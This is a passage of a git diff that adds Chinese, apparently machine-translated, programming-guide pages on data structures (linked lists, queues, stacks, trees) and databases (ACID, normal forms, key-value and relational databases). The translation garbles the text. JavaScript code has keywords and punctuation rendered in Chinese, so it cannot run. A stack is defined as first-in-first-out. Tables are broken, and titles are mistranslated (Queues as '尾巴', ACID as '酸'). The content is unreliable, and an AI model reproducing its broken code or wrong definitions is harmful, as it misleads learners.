+排在第二位 | | | | | | + --- + ----- + + ---- + ---- + + ---- + ---- + | ＃| ＃| | ＃| ＃| | ＃| ＃| + --- + ----- + + ---- + ---- + + ---- + ---- +
+
+＃代表任何随机值。 数据是随机的，因为我们还没有分配任何东西\* /
+
+head-> data = 1; //在第一个节点中分配数据 head-> next = second; //将第一个节点与第二个节点链接
+
+/ \*数据已分配给第一个块的数据部分（块 头部指出）。并且第一个块的下一个指针指向 第二。所以他们都是相互关联的。
+```
+   head          second         third 
+    |              |              | 
+    |              |              | 
+ +---+---+     +----+----+     +-----+----+ 
+ | 1  | o----->| #  | #  |     |  #  | #  | 
+ +---+---+     +----+----+     +-----+----+ 
+```
+
+\* /
+
+second-> data = 2; //将数据分配给第二个节点 second-> next = third; //将第二个节点与第三个节点链接
+
+/ \*数据已分配给第二个块的数据部分（由块指向的块） 第二）。并且第二个块的下一个指针指向第三个块。  
+因此所有三个块都是链接的。
+```
+   head         second         third 
+    |             |             | 
+    |             |             | 
+ +---+---+     +---+---+     +----+----+ 
+ | 1  | o----->| 2 | o-----> |  # |  # | 
+ +---+---+     +---+---+     +----+----+      */ 
+```
+
+第三 - > data = 3; //将数据分配给第三个节点 third-> next = NULL;
+
+/ \*数据已分配给第三个块的数据部分（块指向 第三）。并且第三个块的下一个指针为NULL以指示 链接列表在这里终止。
+```
+ We have the linked list ready. 
+ 
+       head 
+         | 
+         | 
+    +---+---+     +---+---+       +----+------+ 
+    | 1  | o----->|  2  | o-----> |  3 | NULL | 
+    +---+---+     +---+---+       +----+------+ 
+ 
+ 
+ Note that only head is sufficient to represent the whole list.  We can 
+ traverse the complete list by following next pointers.    */ 
+```
+
+返回0; } \`\`\`
+
+#### 更多信息：
+
+*   [链接列表简介](http://www.geeksforgeeks.org/linked-list-set-1-introduction/)
+*   [链接列表（YouTube视频）](https://www.youtube.com/watch?v=njTh_OwMljA)
\ No newline at end of file
diff --git a/client/src/guide/chinese/computer-science/data-structures/queues/index.md b/client/src/guide/chinese/computer-science/data-structures/queues/index.md
new file mode 100644
index 0000000000..e73591d9a2
--- /dev/null
+++ b/client/src/guide/chinese/computer-science/data-structures/queues/index.md
@@ -0,0 +1,46 @@
+---
+title: Queues
+localeTitle: 尾巴
+---
+## 队列
+
+队列是先进先出（FIFO）数据结构。许多算法在其核心使用队列来提高性能。
+
+队列是基本的抽象数据类型（ADT）之一。它类似于我们在电影或超市中排队的队列。第一个到达的人将首先服务吗？同样，首先要删除要插入的第一个元素。有几种类型的队列，如，
+
+1.  简单队列（或队列）
+2.  循环队列
+3.  优先级队列
+4.  出队（双端队列）
+
+如果你能理解简单的队列（从这里开始将被称为'队列'），那么所有其他队列同样容易，几乎没有修改。
+
+队列中最常见的操作是，
+
+1.  添加/提供 - 将元素插入队列的末尾。
+2.  删除/轮询 - 从队列的开头删除元素。
+3.  Peek - 返回队列开头的元素，但不会删除它。
+4.  Size / Count - 返回队列中当前存在的元素数。
+5.  IsEmpty - 检查队列是否为空。
+
+使用数组或链表可以实现队列。以下是具有最常见操作的队列数据结构的简单数组实现。
+
+\`\`\`的JavaScript  
+var Queue = function（）{ var queue = \[\]; var front = 0; var back = 0; 返回{ isEmpty：function（）{ 返回前面> =后退|| queue.length === 0; }， add：function（elem）{ / \*您也可以在JavaScript中执行queue.push（elem）。 这就是他们用其他语言做的事情\* / queue \[back ++\] = elem; }， remove：function（）{ if（！this.isEmpty（））{ return queue \[front ++\]; //或queue.shift（） } 其他{ 抛出新错误（“队列为空。”）; } }， peek：function（）{ if（！this.isEmpty（））{ 返回队列\[前\]; } } } };
+
+var queue = new Queue（）; 的console.log（queue.isEmpty（））; //真的 queue.add（1）; queue.add（2）; 的console.log（queue.remove（））; // 1 的console.log（queue.peek（））; // 2 的console.log（queue.remove（））; // 2 的console.log（queue.remove（））; //例外 \`\`\`
+
+#### 应用
+
+*   模拟
+*   调度（作业调度，磁盘调度）
+*   共享资源管理
+*   键盘缓冲区
+*   广度优先搜索
+*   处理网络拥塞
+
+#### 更多信息：
+
+*   [关于队列的更多信息 - GeeksForGeeks](http://www.geeksforgeeks.org/queue-data-structure/)
+*   [使用队列解决挑战 - Hackerrank](https://www.hackerrank.com/domains/data-structures/queues)
+*   [HackerRank堆栈和队列视频](https://www.youtube.com/watch?v=wjI1WNcIntg)
\ No newline at end of file
diff --git a/client/src/guide/chinese/computer-science/data-structures/stacks/index.md b/client/src/guide/chinese/computer-science/data-structures/stacks/index.md
new file mode 100644
index 0000000000..0d32d81bcf
--- /dev/null
+++ b/client/src/guide/chinese/computer-science/data-structures/stacks/index.md
@@ -0,0 +1,115 @@
+---
+title: Stacks
+localeTitle: 堆栈
+---
+## 堆栈
+
+堆栈是先进先出（FILO）数据结构。它是一种线性数据结构。
+
+你可以想象一个堆栈就像在自助餐厅组织盘子一样。您只能在顶部拾取板，否则堆栈将会崩溃。通常，将首先删除要插入的最后一个项目。
+
+堆栈的一些基本操作是：
+
+1.  推送 - 在堆栈顶部插入项目。
+2.  Pop - 删除堆栈顶部的项目。
+3.  isEmpty - 检查堆栈是否为空
+4.  大小 - 返回堆栈中的项目数 （所有操作都可以在O（1）时间内完成）
+
+使用数组或链表可以实现堆栈。以下是具有最常见操作的堆栈数据结构的简单数组实现。
+
+```C++
+//Stack implementation using array in C++ 
+ //You can also include<stack> and then use the C++ STL Library stack class. 
+ 
+ #include <bits/stdc++.h> 
+ 
+ using namespace std; 
+ 
+ class Stack { 
+    int t; 
+    int arr[MaxN]; 
+ public: 
+    Stack() { 
+        t = 0; 
+    } 
+    int size() { 
+        return t; 
+    } 
+    bool isEmpty() { 
+        return t < 1; 
+    } 
+    int top() { 
+        return arr[t]; 
+    } 
+    void push(int x) { 
+        if (++t >= MaxN) { 
+            cout << "Stack is full" << '\n'; 
+            return; 
+        } 
+        arr[t] = x; 
+    } 
+    void pop() { 
+        arr[t--] = 0; 
+    } 
+ }; 
+ 
+ int main() { 
+    Stack st; 
+ 
+    st.push(4); 
+    st.push(3); 
+    st.push(5); 
+    while (!st.isEmpty()) { 
+        cout << st.size() << ' ' << st.top() << '\n'; 
+        st.pop(); 
+    } 
+    return 0; 
+ } 
+```
+
+#### 使用数组作为堆栈
+
+在某些编程语言中，数组具有堆栈功能，允许开发人员执行**推送**和**弹出**操作，而无需自定义堆栈数据结构。
+
+例如，JavaScript中的数组具有**push**和**pop**方法，允许用户在应用程序中轻松实现堆栈功能。
+
+```js
+stack = []; 
+ 
+ let i = 0; 
+ while(i < 5) 
+  stack.push(i++); 
+ 
+ while(stack.length) { 
+  stack.pop(); 
+ } 
+```
+
+Python中的List也可以在应用程序中执行堆栈功能。可以使用**append**方法而不是**push** 。
+
+```python
+stack = [] 
+ 
+ for i in range(5): 
+    stack.append(i) 
+ 
+ while len(stack): 
+    stack.pop() 
+```
+
+#### 应用
+
+*   将递归转换为循环。
+*   重做撤消功能。
+*   数独求解器
+*   深度优先搜索。
+*   树遍历
+*   中缀表达式 - >前缀/后缀表达式
+*   有效的括号
+
+#### 更多信息：
+
+*   [有关Stacks的更多信息 - GeeksForGeeks](http://www.geeksforgeeks.org/stack-data-structure/)
+*   [堆栈 - 维基百科](https://en.wikipedia.org/wiki/Stack_(abstract_data_type)
+*   [河内塔问题以及解决方案如何使用堆栈和递归](https://en.wikipedia.org/wiki/Tower_of_Hanoi)
+*   [HackerRank堆栈和队列视频](https://www.youtube.com/watch?v=wjI1WNcIntg)
\ No newline at end of file
diff --git a/client/src/guide/chinese/computer-science/data-structures/trees/index.md b/client/src/guide/chinese/computer-science/data-structures/trees/index.md
new file mode 100644
index 0000000000..44afe7cbc9
--- /dev/null
+++ b/client/src/guide/chinese/computer-science/data-structures/trees/index.md
@@ -0,0 +1,72 @@
+---
+title: Trees
+localeTitle: 树
+---
+# 树
+
+树数据结构可以递归（本地）定义为节点集合（从根节点开始），其中每个节点是由值组成的数据结构，以及对节点的引用列表（“子节点”） ，没有引用重复的约束，没有指向根。没有节点的树称为空树或空树。
+
+二叉树是由节点组成的非线性数据结构，其中每个节点具有以下3个组件：
+
+**数据元素** ：在节点中存储任何类型的数据 **左指针** ： **指向**节点左侧的子树 **右指针** ： **指向**节点右侧的子树 顾名思义，数据元素在节点中存储任何类型的数据。 左右指针分别指向节点左侧和右侧的二叉树。
+
+如果树为空，则由空指针表示。
+
+## 树木中使用的术语：
+
+**根** ： 树中的顶级节点。
+
+**孩子** ： 远离Root时直接连接到另一个节点的节点。
+
+**家长** ： 孩子的相反观念。
+
+**兄弟姐妹** ： 一组具有相同父节点的节点。
+
+**后裔** ： 通过从父到子重复进行的节点。
+
+**祖先** ： 通过从子节点到父节点重复进行的节点。
+
+**分支** （内部节点）： 具有子节点的树的节点。
+
+**Leaf** （不常称为外部节点）： 没有子节点的节点。
+
+**学位** ： 节点的子树数。
+
+**边缘** ： 一个节点与另一个节点之间的连接。
+
+**路径** ： 连接节点和后代的节点和边的序列。
+
+**等级** ： 节点的级别由1 +（节点和根之间的连接数）定义。
+
+**树的高度** ： 树的高度是其根节点的高度。
+
+**深度** ： 节点的深度是从树的根节点到节点的边数。
+
+**森林** ： 森林是一组n≥0个不相交的树。
+
+### 一些流行的树木类型：
+
+*   二叉树
+*   二叉搜索树
+*   AVL树
+*   红黑树
+*   Splay树
+*   霍夫曼树
+
+### 常见用途
+
+*   表示分层数据
+*   以易于搜索的方式存储数据
+*   表示已排序的数据列表
+*   路由算法
+
+### 树节点的代码
+
+\`\`\`c\_cpp 结节点 { int数据; //数据元素 struct node \* left; //指向左侧节点的指针 struct node \* right; //指向右边节点的指针 };
+
+\`\`\`
+
+#### 更多信息：
+
+*   [CMU课程笔记](http://www.cs.cmu.edu/~clo/www/CMU/DataStructures/Lessons/lesson4_1.htm)
+*   [维基百科](https://en.wikipedia.org/wiki/Tree_(data_structure))
\ No newline at end of file
diff --git a/client/src/guide/chinese/computer-science/databases/acid/index.md b/client/src/guide/chinese/computer-science/databases/acid/index.md
new file mode 100644
index 0000000000..35a8eb06e4
--- /dev/null
+++ b/client/src/guide/chinese/computer-science/databases/acid/index.md
@@ -0,0 +1,30 @@
+---
+title: ACID
+localeTitle: 酸
+---
+## 酸
+
+在计算机科学中，ACID（原子性，一致性，隔离性，耐久性）是用于数据库修改的一组属性。它们有助于保证事务的有效性，即使出现错误或失败也是如此。
+
+**事务**是满足ACID属性的任何数据库操作序列，可以视为对数据的单个逻辑操作。一个例子是将资金从一个银行账户转移到另一个银行账户。这涉及多项更改，例如借记一个帐户并贷记另一个帐户，但被视为单个交易。
+
+### 原子性
+
+这意味着复杂的交易要么完全处理，要么根本不处理。如果事务的一部分失败，则整个事务未完成且数据库未更改。这样，如果发生崩溃，电源故障或错误，数据库最终不会处于仅完成部分事务的状态。
+
+### 一致性
+
+这意味着数据将保持一致。输入数据库的任何数据必须是有效的，并且必须基于您指定的任何约束。它确保任何事务都将数据库从一个有效状态更改为另一个有效状态。
+
+### 隔离
+
+这意味着如果两个事务同时执行，则一个事务无法从尚未完成的事务中读取数据。每个事务都将看到数据库，就好像事务是按顺序执行一样。如果一个事务需要读取另一个事务正在写入的数据，则必须等到另一个事务完成。不完整交易的影响不会影响另一笔交易。
+
+### 耐久力
+
+这意味着一旦交易完成，即使出现断电或其他错误，交易仍将如此。它保证将所有更改记录到非易失性存储介质（例如硬盘）中，并记录已完成的事务。
+
+### 更多信息：
+
+*   ACID文章： [维基百科](https://en.wikipedia.org/wiki/ACID)
+*   视频概述： [YouTube](https://www.youtube.com/watch?v=LSB4eceRsw8)
\ No newline at end of file
diff --git a/client/src/guide/chinese/computer-science/databases/column-databases/index.md b/client/src/guide/chinese/computer-science/databases/column-databases/index.md
new file mode 100644
index 0000000000..c8d8439c07
--- /dev/null
+++ b/client/src/guide/chinese/computer-science/databases/column-databases/index.md
@@ -0,0 +1,11 @@
+---
+title: Column Databases
+localeTitle: 列数据库
+---
+## 列数据库
+
+面向列的数据库旨在有效地返回有限数量列的数据。它通过将列的所有值存储在一起来实现。面向列的数据库将在有限数量的列上的读取操作方面表现优异，但是与面向行的数据库相比，写入操作将是昂贵的。
+
+#### 更多信息：
+
+有关更多信息，请访问[面向列的DBMS](https://en.wikipedia.org/wiki/Column-oriented_DBMS) Wikipedia页面。
\ No newline at end of file
diff --git a/client/src/guide/chinese/computer-science/databases/document-store-databases/index.md b/client/src/guide/chinese/computer-science/databases/document-store-databases/index.md
new file mode 100644
index 0000000000..252b146852
--- /dev/null
+++ b/client/src/guide/chinese/computer-science/databases/document-store-databases/index.md
@@ -0,0 +1,24 @@
+---
+title: Document Store Databases
+localeTitle: 文档存储数据库
+---
+## 文档存储数据库
+
+文档存储数据库被认为是另一种类型的NoSQL数据库，它与Key Value数据库非常相似。文档存储中的记录表示单个结构化文档，该文档可以与数据库中的所有其他文档不同。与关系数据库不同，没有对象映射到数据库中的各种表。相反，我们可以获取整个对象并将其直接写入文档存储数据库。
+
+例如，我们可以在代码中包含以下对象。
+
+```json
+{ 
+    "name": "freeCodeCamp", 
+    "job": "contributor" 
+ } 
+```
+
+整个对象可以直接写入文档存储数据库而无需进一步解析。
+
+#### 更多信息：
+
+[MongoDB的](https://www.mongodb.com/document-databases)
+
+[Elasticsearch](https://www.elastic.co/)
\ No newline at end of file
diff --git a/client/src/guide/chinese/computer-science/databases/fault-tolerance/index.md b/client/src/guide/chinese/computer-science/databases/fault-tolerance/index.md
new file mode 100644
index 0000000000..5118e2c365
--- /dev/null
+++ b/client/src/guide/chinese/computer-science/databases/fault-tolerance/index.md
@@ -0,0 +1,18 @@
+---
+title: Fault Tolerance
+localeTitle: 容错
+---
+## 容错
+
+容错是一种特性，当系统的某些部分发生故障时，系统可以使系统继续其预期的操作，可能是在降低的级别，而不是完全失败。
+
+当主数据库不可用时， **数据库**可以访问辅助分片时具有容错能力。
+
+这通过以下方式实现：
+
+*   数据库复制
+*   故障检测和故障转移
+
+维护位于独立物理子系统（例如服务器机架和网络路由器）的不同物理节点中的所有数据的多个副本的数据库，由于其能够使数据的主副本不可用而继续操作的概率更高。从多个复制中读取数据。
+
+在大型配电系统中，拥有可靠的故障检测系统变得越来越重要，该系统可以识别故障存储驱动器并提供故障转移单元，以便最大限度地延长服务的正常运行时间。
\ No newline at end of file
diff --git a/client/src/guide/chinese/computer-science/databases/graph-databases/index.md b/client/src/guide/chinese/computer-science/databases/graph-databases/index.md
new file mode 100644
index 0000000000..a40ff2cbaf
--- /dev/null
+++ b/client/src/guide/chinese/computer-science/databases/graph-databases/index.md
@@ -0,0 +1,11 @@
+---
+title: Graph Databases
+localeTitle: 图数据库
+---
+## 图数据库
+
+图形数据库是一种数据库，它使用图形结构进行语义查询，并使用节点，边和属性来表示和存储数据。系统的一个关键概念是图形（或边缘或关系），它直接关联商店中的数据项。这些关系允许商店中的数据直接链接在一起，并且在许多情况下通过一个操作检索。
+
+#### 更多信息：
+
+*   [图数据库](https://en.wikipedia.org/wiki/Graph_database)
\ No newline at end of file
diff --git a/client/src/guide/chinese/computer-science/databases/index.md b/client/src/guide/chinese/computer-science/databases/index.md
new file mode 100644
index 0000000000..741c19ce13
--- /dev/null
+++ b/client/src/guide/chinese/computer-science/databases/index.md
@@ -0,0 +1,11 @@
+---
+title: Databases
+localeTitle: 数据库
+---
+## 数据库
+
+这是一个存根。 [帮助我们的社区扩展它](https://github.com/freecodecamp/guides/tree/master/src/pages/computer-science/databases/index.md) 。
+
+[这种快速风格指南有助于确保您的拉取请求被接受](https://github.com/freecodecamp/guides/blob/master/README.md) 。
+
+#### 更多信息：
\ No newline at end of file
diff --git a/client/src/guide/chinese/computer-science/databases/indexes/index.md b/client/src/guide/chinese/computer-science/databases/indexes/index.md
new file mode 100644
index 0000000000..e769452ad5
--- /dev/null
+++ b/client/src/guide/chinese/computer-science/databases/indexes/index.md
@@ -0,0 +1,21 @@
+---
+title: Indexes
+localeTitle: 索引
+---
+## 索引
+
+**数据库索引**是一种数据结构，可提高数据库表上数据检索的效率。数据库表可以具有多个索引，并且可以在数据库表的一个或多个列上创建索引。
+
+### 索引如何工作？
+
+现在想象一下，你所在的图书馆没有以预定的顺序排列书籍。如果您的任务是找到一本书，那么您必须逐个架子找到它。当只有几本书架时，这可能会很好，但如果它是一个多层图书馆，这个过程非常耗时。
+
+另一方面，假设书籍现在由作者的姓氏排列。如果你知道你正在搜索的书的作者的姓氏，例如“Carnegie”，你可能会寻找“C”的搁置，然后在特定的书架内搜索。你已经避免了经历每一个架子。
+
+### 权衡
+
+如前所述， **索引**是数据结构，因此占用存储空间。定义的索引越多，维护数据结构所占用的存储空间就越多。另一个成本是以附加更新（或写入）的形式，以使索引保持最新。将新记录添加到具有索引的表时，需要额外写入来更新索引数据结构。
+
+#### 更多信息：
+
+[数据库索引](https://en.wikipedia.org/wiki/Database_index)
\ No newline at end of file
diff --git a/client/src/guide/chinese/computer-science/databases/key-value-databases/index.md b/client/src/guide/chinese/computer-science/databases/key-value-databases/index.md
new file mode 100644
index 0000000000..9fddf20569
--- /dev/null
+++ b/client/src/guide/chinese/computer-science/databases/key-value-databases/index.md
@@ -0,0 +1,54 @@
+---
+title: Key Value Databases
+localeTitle: 关键价值数据库
+---
+## 关键价值数据库
+
+键值数据库或键值存储是一种使用键/值存储的[NoSQL](https://en.wikipedia.org/wiki/NoSQL)数据库。这意味着存储在数据库中的数据是键值对的集合。
+
+这种类型的数据结构用于许多编程语言。键值对通常称为关联数组，字典或散列。例如，考虑一个电话号码字典：
+
+|关键|价值| | ------------ | ------------- | |瑞克| 1234555 | |莫蒂| 7754321 | |夏天| 5512377 |
+
+### 钥匙
+
+`key`中的键必须是唯一的。拥有唯一标识符将允许您访问与给定键关联的值。
+
+理论上，关键可以是你想要的任何东西。密钥可以是字符串，二进制序列，图像等。但是，某些数据库可能会对可以使用的密钥类型施加限制。
+
+以下是一些建议：
+
+*   密钥应遵循约定以保持一致性。电话号码字典中的键应始终为名称，而不是名称，电子邮件地址和数字的组合。
+*   密钥不应太长，否则可能会出现性能问题。
+*   密钥不应太短，否则您可能会遇到可读性问题。
+
+### 价值
+
+该`value`在key-value存储可以是你想要的任何东西。这包括字符串，数字，代码，图像，列表，甚至是另一个键值对。某些数据库允许您限制可以存储的数据类型。
+
+### 用例
+
+键值数据库可用于多种方案。以下列出了最常见的应用程序：
+
+*   电信目录。
+*   用户配置文件和会话信息。
+*   购物车内容。
+*   产品详情或评论。
+*   Internet协议（IP）转发表。
+*   服务健康状况或配置。
+
+### 例子
+
+以下是使用键值方法的数据库的一些示例：
+
+*   [Redis的](https://redis.io)
+*   [Oracle NoSQL数据库](https://www.oracle.com/database/nosql/index.html)
+*   [Cassandra](http://cassandra.apache.org) （键值和面向列的数据库之间的混合）
+*   [伏地魔](http://www.project-voldemort.com/voldemort/)
+*   [Consul KV商店](https://www.consul.io/intro/getting-started/kv.html) （一个拥有自己的键值[商店](https://www.consul.io/intro/getting-started/kv.html)的工具）
+
+#### 更多信息：
+
+*   [维基百科](https://en.wikipedia.org/wiki/Key-value_database)上的键值数据库
+
+键值数据库是一个简单的数据库，它使用映射或字典作为基本数据模型，其中每个键与集合中的一个且仅一个值相关联，并且是最灵活的NoSQL数据库类型。
\ No newline at end of file
diff --git a/client/src/guide/chinese/computer-science/databases/non-relational-databases/index.md b/client/src/guide/chinese/computer-science/databases/non-relational-databases/index.md
new file mode 100644
index 0000000000..72bc0ae544
--- /dev/null
+++ b/client/src/guide/chinese/computer-science/databases/non-relational-databases/index.md
@@ -0,0 +1,28 @@
+---
+title: Non-Relational-Databases
+localeTitle: 非关系型的数据库
+---
+## 何时使用
+
+如果您正在处理非常大量的数据，则可能过于繁琐，并且错误的概率（以ORM阻抗不匹配问题的形式）会增加。在这种情况下，您可能需要考虑使用非关系数据库。非关系数据库仅存储数据而没有显式和结构化机制来将来自不同表（或桶）的数据链接到彼此。如果您的数据模型非常复杂，或者您发现自己不得不对数据库模式进行反规范化，那么非关系数据库可能是最佳方法。
+
+选择非关系数据库的其他原因包括：
+
+*   需要在JSON对象中存储序列化数组
+*   将记录存储在具有不同字段或属性的同一集合中
+*   发现自己对数据库模式进行了规范化，或者围绕性能和水平可伸缩性问题进行编码
+*   由于数据模型的性质，很容易预先定义架构
+
+## 缺点
+
+在非关系数据库中，没有像关系数据库那样的连接。这意味着您需要执行多个查询并在代码中手动加入数据 - 这可能会非常难看，非常快。
+
+## 示例数据库
+
+*   MongoDB的
+*   NoSQL的
+
+## 参考
+
+*   （https://www.pluralsight.com/blog/software-development/relational-non-relational-databases）
+*   （https://en.wikipedia.org/wiki/NoSQL）
\ No newline at end of file
diff --git a/client/src/guide/chinese/computer-science/databases/normal-form/index.md b/client/src/guide/chinese/computer-science/databases/normal-form/index.md
new file mode 100644
index 0000000000..442a3de0bb
--- /dev/null
+++ b/client/src/guide/chinese/computer-science/databases/normal-form/index.md
@@ -0,0 +1,68 @@
+---
+title: Normal Form
+localeTitle: 正常形式
+---
+## 正常形式
+
+归一化首先作为关系模型的一部分引入。它是以减少冗余和提高完整性的方式组织数据表和列的过程。这可以通过以下方式完成：
+
+*   合成：基于一组已知的依赖关系创建规范化的数据库设计。
+*   分解：采用现有的（规范不足的）数据库设计，并根据已知的依赖关系集对其进行改进
+
+有三种常见的常规形式（第1，第2和第3）加上一种称为BCNF的相当高级的形式。它们是渐进的：除了符合第3范式之外，数据库模式必须满足第2范式的规则，对于第1范式也是如此。
+
+*   **第一范式** ：信息存储在表中，每列包含原子值，并且没有重复的列组。这个 ：
+
+1.  消除各个表中的重复组。
+2.  为每组相关数据创建单独的表。
+3.  使用主键标识每组相关数据
+
+##### 例
+
+违反第一范式的设计，“电话”列不包含原子值
+
+|客户ID |名字|姓氏|电话| | ------------- | ------------ | ----------- | ---------- ---------------------------- | | 123 | Pooja |辛格| 555-861-2025,192-122-1111 | | 789 |约翰| Doe | 555-808-9633 | | 456 | San |张| （555）403-1659分机53; 182-929-2929 |
+
+一种解决方案是为每个电话号码增加一列。但是，这将在概念上重复相同的属性（电话号码）。此外，添加额外的电话号码将需要通过添加更多列重新组织表。这绝对不是实际的。
+
+另一个解决方案是为关联客户提供一个单独的表< - >电话：这尊重第一个普通表格，每个客户可以根据需要设置多个行。
+
+|客户ID |名字|姓氏| | ------------- | ------------ | ----------- | | 123 | Pooja |辛格| | 789 |约翰| Doe | | 456 | San |张|
+
+|客户ID |电话| | ------------- | ------------------------ | | 123 | 555-861-2025 | | 123 | 192-122-1111 | | 789 | 555-808-9633 | | 456 | （555）403-1659分机53 | | 456 | 182-929-2929 |
+
+*   **第二范式** ：表格为第一范式，所有非键列依赖于表的主键。这缩小了桌子的目的。
+
+##### 例
+
+违反第二范式的设计。模型全名是主键，还有其他候选键，如{manufacturer，model}。 “制造商国家/地区”列取决于非键列（制造商）。
+
+|制造商|型号|型号全名|制造商国家| | --------------------- | -------------- | ------------ ---------- | ---------------------- | |复地| X-Prime | Forte X-Prime |意大利| |复地| Ultraclean | Forte Ultraclean |意大利| | Dent-o-Fresh | EZbrush | Dent-o-Fresh EZbrush |美国| |小林| ST-60 |小林ST-60 |日本| | Hoch | Toothmaster | Hoch Toothmaster |德国| | Hoch | X-Prime | Hoch X-Prime |德国|
+
+规范化设计将分为两个表，如下所示：
+
+|制造商|制造商国家| | --------------------- | ---------------------- | |复地|意大利| | Dent-o-Fresh |美国| |小林|日本| | Hoch |德国|
+
+|制造商|型号|型号全名| | --------------------- | -------------- | ------------ ---------- | |复地| X-Prime | Forte X-Prime | |复地| Ultraclean | Forte Ultraclean | | Dent-o-Fresh | EZbrush | Dent-o-Fresh EZbrush | |小林| ST-60 |小林ST-60 | | Hoch | Toothmaster | Hoch Toothmaster | | Hoch | X-Prime | Hoch X-Prime |
+
+*   **第3范式** ：表格为第二范式，其所有列都不可传递地依赖于主键。 如果可以从中导出列，则称该列依赖于另一列，例如，年龄可以从生日得到。传递性意味着这种依赖性可能涉及其他列。例如，如果我们考虑三列`PersonID BodyMassIndex IsOverweight` ，则列'IsOverweight'通过'BodyMassIndex'过渡依赖于'personID'。
+
+##### 例
+
+违反第3范式的设计。 {Tournament，Year}是表格的主键，“Winner出生日期”栏目过渡依赖于它。
+
+|比赛|年|获胜者|获胜者出生日期| | ---------------------- | ------------- | ------------ ---- | ---------------------- | |印第安纳州邀请赛| 1998年| Al Fredrickson | 1975年7月21日| |克利夫兰公开赛1999年| Bob Albertson | 1968年9月28日| |得梅因大师赛1999年| Al Fredrickson | 1975年7月21日| |印第安纳州邀请赛| 1999年| Chip Masterson | 1977年3月14日|
+
+符合第3范式的设计将是：
+
+|比赛|年|获胜者|  
+| ---------------------- | ------------- | ------------ ---- | |印第安纳州邀请赛| 1998年| Al Fredrickson | |克利夫兰公开赛1999年| Bob Albertson | |得梅因大师赛1999年| Al Fredrickson | |印第安纳州邀请赛| 1999年| Chip Masterson |
+
+|获胜者|出生日期| | ---------------- | ------------------- | | Chip Masterson | 1977年3月14日| | Al Fredrickson | 1975年7月21日| | Bob Albertson | 1968年9月28日|
+
+#### 更多信息：
+
+*   [维基百科上的](https://en.wikipedia.org/wiki/Database_normalization)数据库规范化
+*   [维基百科](https://en.wikipedia.org/wiki/First_normal_form)上的第一个普通表格
+*   [维基百科](https://en.wikipedia.org/wiki/Second_normal_form)上的第二个普通表格
+*   [维基百科](https://en.wikipedia.org/wiki/Third_normal_form)上的第三范式
\ No newline at end of file
diff --git a/client/src/guide/chinese/computer-science/databases/relational-databases/index.md b/client/src/guide/chinese/computer-science/databases/relational-databases/index.md
new file mode 100644
index 0000000000..7c64484da7
--- /dev/null
+++ b/client/src/guide/chinese/computer-science/databases/relational-databases/index.md
@@ -0,0 +1,51 @@
+---
+title: Relational Databases
+localeTitle: 关系数据库
+---
+由于数据库是一种存储数据的方式，因此关系数据库是数据存储方式的模型。数据被组织成表格，也称为关系。这些表包含每个数据实例的记录，称为记录或元组。唯一标识符标识每个记录以在整个数据库中描述它。
+
+## 表
+
+与excel中的工作表一样，表由列和行组成。每一行都是一个数据实例，表格列中的属性称为字段。实体的每个类别可以有多个表。一个例子可以是用户表。每行都是用户，每个字段都是用户的详细信息，如电子邮件，密码和该特定用户的联系详细信息。在图1中，您可以看到示例图。
+
+| |用户|电子邮件|电话| | ------------- | ------------ | ------------------ | --- ----------------------------------- | |第1行|杰瑞| j@j.uk.za | 771447444121 | |第2行|莎莉| batgirl@gh.co.za | 771447444121 | |第3行|亚历克斯| samwis@tty.fe | 771447444121 | |第4行|道格| 4sure@dam.us | 745151515152 |
+
+图1 - 用户表的示例。
+
+## 记录
+
+记录是单个数据实体。如上例所示，它可以是用户，帐户，设备或数据可以表示的任何内容。记录确实需要唯一的标识符，有时也称为密钥。此键必须是唯一的，因为它用于描述记录与其他表中其他记录的关系。在图1中，我们可以为每一行添加键，用键标识每个用户，表格现在如图2所示。
+
+| KEY |用户|电子邮件|电话| | ----------- | ------------ | ------------------ | ----- --------------------------------- | | u1 |杰瑞| j@j.uk.za | 771447444121 | | u2 |莎莉| batgirl@gh.co.za | 771447444121 | | u3 |亚历克斯| samwis@tty.fe | 771447444121 | | u4 |道格| 4sure@dam.us | 745151515152 |
+
+图2 - 具有KEY字段的用户数据库示例。
+
+## 字段
+
+Fields描述了记录。这可以保存记录所代表的实体的任何信息。在图3中，您可以看到显示宠物的表格。列（字段）用p\_name，p\_age，p\_type和p\_owner描述每个宠物（记录）。 p是宠物的简写，最后一栏将在下一节关系中解释。
+
+| KEY | p\_name | p\_age | p\_owner | | ----------- | ------------ | ------------------ | ----- ---------- | | p1 | Suzy | j@j.uk.za | u1 | | p2 |小蘸| batgirl@gh.co.za | u1 | | p3 | Amillë| samwis@tty.fe | u2 | | p4 |道格| 4sure@dam.us | u3 |
+
+图3 - 宠物表的示例。
+
+## 关系
+
+关系数据库允许您描述实体之间的关系。这有时是关系数据库最难理解的主题。如果我们采用示例表，我们应该能够看到用户表与pet表的关系。如果您阅读了p\_owner字段，您可以看到它也可以如图4所示。这解释了每只宠物与用户的关系。关系可以有不同的类型。
+
+| KEY | p\_name | p\_age | p\_owner | | ----------- | ------------ | ------------------ | ----- ---------- | | p1 | Suzy | j@j.uk.za |杰瑞| | p2 |小蘸| batgirl@gh.co.za |杰瑞| | p3 | Amillë| samwis@tty.fe |莎莉| | p4 |道格| 4sure@dam.us |道格|
+
+图4 - 链接了所有者字段的Pet表示例
+
+一对多关系是与许多其他记录相关联的一条记录，例如用户Jerry有两只宠物。它也可以是多对多的关系，表格可以是书籍和作者，因为作者可以共同撰写许多书籍。最后，最常见的关系类型是一对一，一条记录只能链接到一条记录，而只能链接到另一条记录。
+
+## 结论
+
+这只是关系数据库的简要介绍。以下链接提供给可帮助您进一步研究该主题的资源。
+
+#### 更多信息：
+
+*   [维基百科上的](https://en.wikipedia.org/wiki/Relational_database)关系数据库
+*   [维基百科](https://en.wikipedia.org/wiki/One-to-many_(data_model)上的一对多）
+*   [维基百科](https://en.wikipedia.org/wiki/Many-to-many_(data_model)上的多对多）
+*   [维基百科](https://en.wikipedia.org/wiki/One-to-one_(data_model)上的一对一）
+*   [维基百科上的](https://en.wikipedia.org/wiki/Entity%E2%80%93relationship_model)关系模型
\ No newline at end of file
diff --git a/client/src/guide/chinese/computer-science/distribued-algorithms/index.md b/client/src/guide/chinese/computer-science/distribued-algorithms/index.md
new file mode 100644
index 0000000000..e533c9104f
--- /dev/null
+++ b/client/src/guide/chinese/computer-science/distribued-algorithms/index.md
@@ -0,0 +1,9 @@
+---
+title: Ditributed Algorithms
+localeTitle: Ditributed算法
+---
+## 分布式算法
+
+分布式算法是研究在多个处理器上运行的算法。这种算法的目的是利用并行化来实现加速。分布式算法的一些应用将在多核处理器和计算机集群中。
+
